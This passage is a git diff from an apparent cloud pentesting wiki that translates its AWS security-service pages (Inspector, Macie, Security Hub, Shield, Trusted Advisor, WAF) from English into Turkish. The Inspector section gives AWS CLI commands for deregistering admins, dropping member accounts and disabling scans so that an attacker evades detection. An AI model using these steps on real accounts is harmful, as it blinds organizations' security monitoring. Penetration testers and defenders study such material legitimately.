[inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> Yetkisiz hesabın delege yönetici olabilmesi için, önce meşru delege yöneticinin devre dışı bırakılması ve ardından yetkisiz hesabın delege yönetici olarak etkinleştirilmesinden önce, meşru yöneticinin organizasyondan delege yönetici olarak kaydının silinmesi gerekmektedir. Bu, aşağıdaki komut ile yapılabilir (**`organizations:DeregisterDelegatedAdministrator`** izni gereklidir): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **Potansiyel Etki**: Güvenlik yönetiminin kesintiye uğraması. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +Bir saldırgan, Amazon Inspector organizasyonu içindeki üye hesaplarının ilişkilendirilmesini manipüle edebilir. Yetkisiz hesapları ilişkilendirerek veya meşru olanları ilişkilendirmeyerek, bir saldırgan güvenlik taramalarına ve raporlamaya hangi hesapların dahil edileceğini kontrol edebilir. Bu, kritik hesapların güvenlik izleme dışına çıkarılmasına yol açabilir ve saldırganın bu hesaplardaki zafiyetleri tespit edilmeden istismar etmesine olanak tanıyabilir. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Bu işlem, yetkilendirilmiş yönetici tarafından gerçekleştirilmelidir. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **Potansiyel Etki**: Ana hesapların güvenlik taramalarından hariç tutulması, zafiyetlerin tespit edilmeden istismar edilmesine olanak tanır. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +`inspector2:Disable` iznine sahip bir saldırgan, belirli hesaplar üzerindeki belirli kaynak türleri (EC2, ECR, Lambda, Lambda kodu) için güvenlik taramalarını devre dışı bırakabilir, bu da AWS ortamının bazı kısımlarının izlenmeden kalmasına ve saldırılara karşı savunmasız olmasına neden olur. Ayrıca, **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** izinlerine sahip olarak, bir saldırgan şüpheli yapılandırmaların tespit edilmesini önlemek için taramaları seçici olarak yeniden etkinleştirebilir. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Bu işlem, yetkilendirilmiş yönetici tarafından gerçekleştirilmelidir. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **Potansiyel Etki**: Güvenlik izleme alanında kör noktaların oluşumu. #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +Bu izne sahip bir saldırgan, Amazon Inspector organizasyonunuzun yapılandırmalarını güncelleyebilir ve bu da yeni üye hesaplar için etkinleştirilen varsayılan tarama özelliklerini etkileyebilir. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Bu işlem, yetkilendirilmiş yönetici tarafından gerçekleştirilmelidir. ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **Potansiyel Etki**: Organizasyon için güvenlik tarama politikalarını ve yapılandırmalarını değiştirmek. #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +Bir saldırgan, güvenlik değerlendirmelerini düzenlemek, izlemek ve otomatikleştirmek için kritik olan AWS Inspector kaynaklarındaki etiketleri manipüle edebilir. Etiketleri değiştirerek veya kaldırarak, bir saldırgan güvenlik taramalarından zafiyetleri gizleyebilir, uyum raporlamasını bozabilir ve otomatik düzeltme süreçlerine müdahale edebilir, bu da kontrolsüz güvenlik sorunlarına ve sistem bütünlüğünün tehlikeye girmesine yol açabilir. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **Potansiyel Etki**: Açıkların gizlenmesi, uyum raporlamasının kesintiye uğraması, güvenlik otomasyonunun kesintiye uğraması ve maliyet tahsisinin kesintiye uğraması. -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## Referanslar - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..c64277bb4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie, bir AWS hesabındaki verileri **otomatik olarak tespit etmek, sınıflandırmak ve tanımlamak** için tasarlanmış bir hizmet olarak öne çıkmaktadır. **Makine öğrenimi** kullanarak verileri sürekli izler ve analiz eder, esasen **cloud trail event** verilerini ve kullanıcı davranış kalıplarını inceleyerek olağandışı veya şüpheli etkinlikleri tespit etmeye ve bildirmeye odaklanır. -Key Features of Amazon Macie: +Amazon Macie'nin Ana Özellikleri: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **Aktif Veri İncelemesi**: AWS hesabında çeşitli eylemler gerçekleşirken verileri aktif olarak incelemek için makine öğrenimi kullanır. +2. **Anomali Tespiti**: Düzensiz etkinlikleri veya erişim kalıplarını tanımlar, potansiyel veri maruziyeti risklerini azaltmak için uyarılar oluşturur. +3. **Sürekli İzleme**: Amazon S3'te yeni verileri otomatik olarak izler ve tespit eder, zamanla veri erişim kalıplarına uyum sağlamak için makine öğrenimi ve yapay zeka kullanır. +4. **NLP ile Veri Sınıflandırması**: Farklı veri türlerini sınıflandırmak ve yorumlamak için doğal dil işleme (NLP) kullanır, bulguları önceliklendirmek için risk puanları atar. +5. **Güvenlik İzleme**: API anahtarları, gizli anahtarlar ve kişisel bilgiler gibi güvenlik açısından hassas verileri tanımlar, veri sızıntılarını önlemeye yardımcı olur. -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie, **bölgesel bir hizmettir** ve işlevsellik için 'AWSMacieServiceCustomerSetupRole' IAM Rolü ve etkin bir AWS CloudTrail gerektirir. -### Alert System +### Uyarı Sistemi -Macie categorizes alerts into predefined categories like: +Macie, uyarıları aşağıdaki gibi önceden tanımlanmış kategorilere ayırır: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation -- Ransomware -- Suspicious access, etc. +- Anonim erişim +- Veri uyumluluğu +- Kimlik bilgisi kaybı +- Ayrıcalık yükseltme +- Fidye yazılımı +- Şüpheli erişim, vb. -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +Bu uyarılar, etkili yanıt ve çözüm için ayrıntılı açıklamalar ve sonuç analizleri sağlar. -### Dashboard Features +### Gösterge Paneli Özellikleri -The dashboard categorizes data into various sections, including: +Gösterge paneli verileri çeşitli bölümlere ayırır, bunlar arasında: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- S3 Nesneleri (zaman aralığı, ACL, PII'ye göre) +- Yüksek riskli CloudTrail olayları/kullanıcıları +- Etkinlik Konumları +- CloudTrail kullanıcı kimliği türleri ve daha fazlası. -### User Categorization +### Kullanıcı Sınıflandırması -Users are classified into tiers based on the risk level of their API calls: +Kullanıcılar, API çağrılarının risk seviyesine göre katmanlara ayrılır: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **Platin**: Genellikle yönetici ayrıcalıkları olan yüksek riskli API çağrıları. +- **Altın**: Altyapı ile ilgili API çağrıları. +- **Gümüş**: Orta riskli API çağrıları. +- **Bronz**: Düşük riskli API çağrıları. -### Identity Types +### Kimlik Türleri -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +Kimlik türleri, isteklerin kaynağını belirten Root, IAM kullanıcı, Varsayılan Rol, Federated User, AWS Hesabı ve AWS Servisi'ni içerir. -### Data Classification +### Veri Sınıflandırması -Data classification encompasses: +Veri sınıflandırması şunları kapsar: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- İçerik Türü: Tespit edilen içerik türuna göre. +- Dosya Uzantısı: Dosya uzantısına göre. +- Tema: Dosyalar içindeki anahtar kelimelere göre kategorize edilir. +- Regex: Belirli regex desenlerine göre kategorize edilir. -The highest risk among these categories determines the file's final risk level. +Bu kategoriler arasındaki en yüksek risk, dosyanın nihai risk seviyesini belirler. -### Research and Analysis +### Araştırma ve Analiz -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. +Amazon Macie'nin araştırma işlevi, derinlemesine analiz için tüm Macie verileri üzerinde özel sorgular yapmayı sağlar. Filtreler arasında CloudTrail Verisi, S3 Bucket özellikleri ve S3 Nesneleri bulunur. Ayrıca, diğer hesapları Amazon Macie'yi paylaşmaya davet etme desteği sunarak işbirlikçi veri yönetimi ve güvenlik izlemeyi kolaylaştırır. ### Enumeration - ``` # Get buckets aws macie2 describe-buckets @@ -102,21 +101,16 @@ aws macie2 list-classification-jobs aws macie2 list-classification-scopes aws macie2 list-custom-data-identifiers ``` - #### Post Exploitation > [!TIP] -> From an attackers perspective, this service isn't made to detect the attacker, but to detect sensitive information in the stored files. Therefore, this service might **help an attacker to find sensitive info** inside the buckets.\ -> However, maybe an attacker could also be interested in disrupting it in order to prevent the victim from getting alerts and steal that info easier. +> Bir saldırganın perspektifinden, bu hizmet saldırganı tespit etmek için değil, depolanan dosyalardaki hassas bilgileri tespit etmek için yapılmıştır. Bu nedenle, bu hizmet **bir saldırgana hassas bilgileri** bulmasında yardımcı olabilir.\ +> Ancak, belki de bir saldırgan, kurbanın uyarılar almasını engellemek ve o bilgileri daha kolay çalmak için bunu bozmakla da ilgilenebilir. -TODO: PRs are welcome! +TODO: PR'lar hoş karşılanır! ## References - [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md index 36dc8fbe9..9369abb90 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md @@ -4,24 +4,23 @@ ## Security Hub -**Security Hub** collects security **data** from **across AWS accounts**, services, and supported third-party partner products and helps you **analyze your security** trends and identify the highest priority security issues. +**Security Hub**, **AWS hesapları**, hizmetler ve desteklenen üçüncü taraf ortak ürünlerden güvenlik **verilerini** toplar ve **güvenlik** eğilimlerinizi analiz etmenize ve en yüksek öncelikli güvenlik sorunlarını belirlemenize yardımcı olur. -It **centralizes security related alerts across accounts**, and provides a UI for viewing these. The biggest limitation is it **does not centralize alerts across regions**, only across accounts +Hesaplar arasında güvenlikle ilgili uyarıları **merkezileştirir** ve bunları görüntülemek için bir UI sağlar. En büyük sınırlama, yalnızca hesaplar arasında uyarıları **merkezileştirmesi**, bölgeler arasında değil olmasıdır. -**Characteristics** +**Özellikler** -- Regional (findings don't cross regions) -- Multi-account support -- Findings from: - - Guard Duty - - Config - - Inspector - - Macie - - third party - - self-generated against CIS standards +- Bölgesel (bulgular bölgeleri geçmez) +- Çoklu hesap desteği +- Bulgular: +- Guard Duty +- Config +- Inspector +- Macie +- üçüncü taraf +- CIS standartlarına karşı kendiliğinden üretilmiş ## Enumeration - ``` # Get basic info aws securityhub describe-hub @@ -50,18 +49,13 @@ aws securityhub list-automation-rules aws securityhub list-members aws securityhub get-members --account-ids ``` +## Tespit Atlatma -## Bypass Detection +TODO, PR'ler kabul edilir -TODO, PRs accepted - -## References +## Referanslar - [https://cloudsecdocs.com/aws/services/logging/other/#general-info](https://cloudsecdocs.com/aws/services/logging/other/#general-info) - [https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html](https://docs.aws.amazon.com/securityhub/latest/userguide/what-is-securityhub.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md index b1df3003b..eeae9159e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md @@ -4,16 +4,12 @@ ## Shield -AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. +AWS Shield, **dağıtılmış hizmet reddi saldırılarına** karşı **altyapınızı korumaya yardımcı olmak** için tasarlanmıştır. -**AWS Shield Standard** is **free** to everyone, and it offers **DDoS protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard**, **ücretsizdir** ve **DDoS koruması** sunar; bu, daha yaygın olan katman üç, **ağ katmanı** ve katman dört, **taşıma katmanı** DDoS saldırılarına karşıdır. Bu koruma, hem CloudFront hem de Route 53 ile entegre edilmiştir. -**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**. +**AWS Shield Advanced**, ek bir maliyetle, daha geniş bir AWS hizmetleri yelpazesi için DDoS saldırılarına karşı **daha yüksek bir koruma seviyesi** sunar. Bu gelişmiş seviye, EC2, CloudFront, ELB üzerinde çalışan web uygulamalarınıza ve ayrıca Route 53'e karşı koruma sağlar. Korunan bu ek kaynak türlerine ek olarak, Standard'a kıyasla daha yüksek düzeyde DDoS koruması sunulmaktadır. Ayrıca, **AWS'de DRT olarak bilinen 24 saat, yedi gün uzman DDoS yanıt ekibine erişiminiz olacaktır.** -Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.** +Shield'ın Standard versiyonu katman üç ve katman dört saldırılara karşı koruma sunarken, **Advanced ayrıca katman yedi, uygulama, saldırılarına karşı koruma sunar.** {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index a975d7476..b51ae38d0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -4,72 +4,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## AWS Trusted Advisor Overview +## AWS Trusted Advisor Genel Bakış -Trusted Advisor is a service that **provides recommendations** to optimize your AWS account, aligning with **AWS best practices**. It's a service that operates across multiple regions. Trusted Advisor offers insights in four primary categories: +Trusted Advisor, **AWS hesaplarınızı optimize etmek için öneriler** sunan bir hizmettir ve **AWS en iyi uygulamaları** ile uyumludur. Birden fazla bölgede çalışan bir hizmettir. Trusted Advisor, dört ana kategoride içgörüler sunar: -1. **Cost Optimization:** Suggests how to restructure resources to reduce expenses. -2. **Performance:** Identifies potential performance bottlenecks. -3. **Security:** Scans for vulnerabilities or weak security configurations. -4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance. +1. **Maliyet Optimizasyonu:** Harcamaları azaltmak için kaynakları yeniden yapılandırma önerileri sunar. +2. **Performans:** Potansiyel performans darboğazlarını belirler. +3. **Güvenlik:** Zayıf güvenlik yapılandırmalarını veya güvenlik açıklarını tarar. +4. **Hata Toleransı:** Hizmet dayanıklılığını ve hata toleransını artırmak için uygulama önerileri sunar. -The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security. +Trusted Advisor'ın kapsamlı özellikleri yalnızca **AWS iş veya kurumsal destek planları** ile erişilebilir. Bu planlar olmadan, erişim **altı temel kontrol** ile sınırlıdır ve esasen performans ve güvenliğe odaklanır. -### Notifications and Data Refresh +### Bildirimler ve Veri Yenileme -- Trusted Advisor can issue alerts. -- Items can be excluded from its checks. -- Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh. +- Trusted Advisor uyarılar verebilir. +- Kontrollerinden öğeler hariç tutulabilir. +- Veri her 24 saatte bir yenilenir. Ancak, son yenilemeden 5 dakika sonra manuel yenileme mümkündür. -### **Checks Breakdown** +### **Kontrollerin Dağılımı** -#### CategoriesCore +#### KategorilerAna -1. Cost Optimization -2. Security -3. Fault Tolerance -4. Performance -5. Service Limits -6. S3 Bucket Permissions +1. Maliyet Optimizasyonu +2. Güvenlik +3. Hata Toleransı +4. Performans +5. Hizmet Sınırları +6. S3 Bucket İzinleri -#### Core Checks +#### Ana Kontroller -Limited to users without business or enterprise support plans: +İş veya kurumsal destek planı olmayan kullanıcılara sınırlıdır: -1. Security Groups - Specific Ports Unrestricted -2. IAM Use -3. MFA on Root Account -4. EBS Public Snapshots -5. RDS Public Snapshots -6. Service Limits +1. Güvenlik Grupları - Belirli Portlar Kısıtlanmamış +2. IAM Kullanımı +3. Root Hesabında MFA +4. EBS Kamu Anlık Görüntüleri +5. RDS Kamu Anlık Görüntüleri +6. Hizmet Sınırları -#### Security Checks +#### Güvenlik Kontrolleri -A list of checks primarily focusing on identifying and rectifying security threats: +Güvenlik tehditlerini tanımlamaya ve düzeltmeye odaklanan bir kontrol listesi: -- Security group settings for high-risk ports -- Security group unrestricted access -- Open write/list access to S3 buckets -- MFA enabled on root account -- RDS security group permissiveness -- CloudTrail usage -- SPF records for Route 53 MX records -- HTTPS configuration on ELBs -- Security groups for ELBs -- Certificate checks for CloudFront -- IAM access key rotation (90 days) -- Exposure of access keys (e.g., on GitHub) -- Public visibility of EBS or RDS snapshots -- Weak or absent IAM password policies +- Yüksek riskli portlar için güvenlik grubu ayarları +- Güvenlik grubunda kısıtlanmamış erişim +- S3 bucket'lara açık yazma/listeleme erişimi +- Root hesabında MFA etkin +- RDS güvenlik grubunun izin vericiliği +- CloudTrail kullanımı +- Route 53 MX kayıtları için SPF kayıtları +- ELB'lerde HTTPS yapılandırması +- ELB'ler için güvenlik grupları +- CloudFront için sertifika kontrolleri +- IAM erişim anahtarı döngüsü (90 gün) +- Erişim anahtarlarının ifşası (örneğin, GitHub'da) +- EBS veya RDS anlık görüntülerinin kamuya açık görünürlüğü +- Zayıf veya yok IAM şifre politikaları -AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices. +AWS Trusted Advisor, belirlenen en iyi uygulamalara dayalı olarak AWS hizmetlerinin optimizasyonunu, performansını, güvenliğini ve hata toleransını sağlamak için kritik bir araç olarak işlev görür. -## **References** +## **Kaynaklar** - [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index 661b836d5..79d2c14ae 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,103 +6,102 @@ ## AWS WAF -AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules. +AWS WAF, web uygulamalarını veya API'leri çeşitli web istismarlarına karşı korumak için tasarlanmış bir **web uygulama güvenlik duvarı**dır. Kullanıcılara, SQL enjeksiyonu veya çapraz site betikleme gibi tipik saldırı vektörlerini azaltan **güvenlik kuralları** oluşturarak gelen trafiği kontrol etme imkanı sunar ve ayrıca özel filtreleme kuralları tanımlayarak bunu yapar. -### Key concepts +### Temel kavramlar -#### Web ACL (Access Control List) +#### Web ACL (Erişim Kontrol Listesi) -A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions. +Web ACL, web uygulamalarınıza veya API'lerinize uygulayabileceğiniz bir kural koleksiyonudur. Bir Web ACL'yi bir kaynakla ilişkilendirdiğinizde, AWS WAF, Web ACL'de tanımlanan kurallara göre gelen istekleri inceler ve belirtilen eylemleri gerçekleştirir. -#### Rule Group +#### Kural Grubu -A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs. +Kural Grubu, birden fazla Web ACL'ye uygulayabileceğiniz yeniden kullanılabilir bir kural koleksiyonudur. Kural grupları, farklı web uygulamaları veya API'ler arasında tutarlı kural setlerini yönetmeye ve sürdürmeye yardımcı olur. -Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it. +Her kural grubunun ilişkili bir **kapasitesi** vardır; bu, kurallarınızı, kural gruplarınızı ve web ACL'lerinizi çalıştırmak için kullanılan işletim kaynaklarını hesaplamaya ve kontrol etmeye yardımcı olur. Değeri oluşturma sırasında belirlendikten sonra, değiştirilmesi mümkün değildir. -#### Rule +#### Kural -A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules: +Bir kural, AWS WAF'nin gelen web isteklerini incelemek için kullandığı bir dizi koşulu tanımlar. İki ana kural türü vardır: -1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests. -2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**. +1. **Düzenli Kural**: Bu kural türü, web isteklerini kabul etme, engelleme veya sayma kararını vermek için belirli koşulları kullanır. +2. **Oran Tabanlı Kural**: Belirli bir IP adresinden beş dakikalık bir süre içinde gelen istekleri sayar. Burada, kullanıcılar bir eşik tanımlar ve bir IP'den gelen istek sayısı bu limiti beş dakika içinde aşarsa, o IP'den gelen sonraki istekler, istek oranı eşik altına düşene kadar engellenir. Oran tabanlı kurallar için minimum eşik **2000 istektir**. -#### Managed Rules +#### Yönetilen Kurallar -AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities. +AWS WAF, AWS ve AWS Marketplace satıcıları tarafından yönetilen önceden yapılandırılmış kural setleri sunar. Bu kural setleri, yaygın tehditlere karşı koruma sağlar ve yeni güvenlik açıklarını ele almak için düzenli olarak güncellenir. -#### IP Set +#### IP Seti -An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules. +IP Seti, izin vermek veya engellemek istediğiniz IP adresleri veya IP adresi aralıklarının bir listesidir. IP setleri, IP tabanlı kuralları yönetmeyi kolaylaştırır. -#### Regex Pattern Set +#### Regex Desen Seti -A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters. +Regex Desen Seti, web isteklerinde aramak için desenleri tanımlayan bir veya daha fazla düzenli ifade (regex) içerir. Bu, belirli karakter dizilerini filtrelemek gibi daha karmaşık eşleştirme senaryoları için yararlıdır. -#### Lock Token +#### Kilit Tokeni -A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. +Kilit Tokeni, WAF kaynaklarını güncellerken eşzamanlılık kontrolü için kullanılır. Bu, değişikliklerin aynı kaynağı güncellemeye çalışan birden fazla kullanıcı veya işlem tarafından yanlışlıkla üzerine yazılmadığından emin olur. -#### API Keys +#### API Anahtarları -API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations. +AWS WAF'deki API Anahtarları, belirli API işlemlerine yapılan istekleri kimlik doğrulamak için kullanılır. Bu anahtarlar şifrelenir ve erişimi kontrol etmek ve yalnızca yetkili kullanıcıların WAF yapılandırmalarında değişiklik yapmasını sağlamak için güvenli bir şekilde yönetilir. -- **Example**: Integration of the CAPTCHA API. +- **Örnek**: CAPTCHA API'sinin entegrasyonu. -#### Permission Policy +#### İzin Politikası -A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations. +İzin Politikası, AWS WAF kaynakları üzerinde hangi eylemlerin gerçekleştirilebileceğini belirten bir IAM politikasını ifade eder. İzinleri tanımlayarak, WAF kaynaklarına erişimi kontrol edebilir ve yalnızca yetkili kullanıcıların yapılandırmaları oluşturmasını, güncellemesini veya silmesini sağlayabilirsiniz. -#### Scope +#### Kapsam -The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution. +AWS WAF'deki kapsam parametresi, WAF kurallarının ve yapılandırmalarının bölgesel bir uygulamaya veya bir Amazon CloudFront dağıtımına uygulanıp uygulanmadığını belirtir. -- **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located. -- **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served. +- **BÖLGESEL**: Uygulama Yük Dengeleyicileri (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito kullanıcı havuzu, AWS App Runner hizmeti ve AWS Doğrulanmış Erişim örneği gibi bölgesel hizmetlere uygulanır. Bu kaynakların bulunduğu AWS bölgesini belirtirsiniz. +- **CLOUDFRONT**: Küresel olan Amazon CloudFront dağıtımlarına uygulanır. CloudFront için WAF yapılandırmaları, içeriğin nerede sunulduğuna bakılmaksızın `us-east-1` bölgesi üzerinden yönetilir. -### Key features +### Temel özellikler -#### Monitoring Criteria (Conditions) +#### İzleme Kriterleri (Koşullar) -**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**. +**Koşullar**, AWS WAF'nin izlediği gelen HTTP/HTTPS isteklerinin unsurlarını belirtir; bunlar arasında XSS, coğrafi konum (GEO), IP adresleri, Boyut kısıtlamaları, SQL Enjeksiyonu ve desenler (dize ve regex eşleştirme) bulunur. **Ülkeye dayalı olarak CloudFront seviyesinde kısıtlanan isteklerin WAF'ye ulaşmayacağını** belirtmek önemlidir. -Each AWS account can configure: +Her 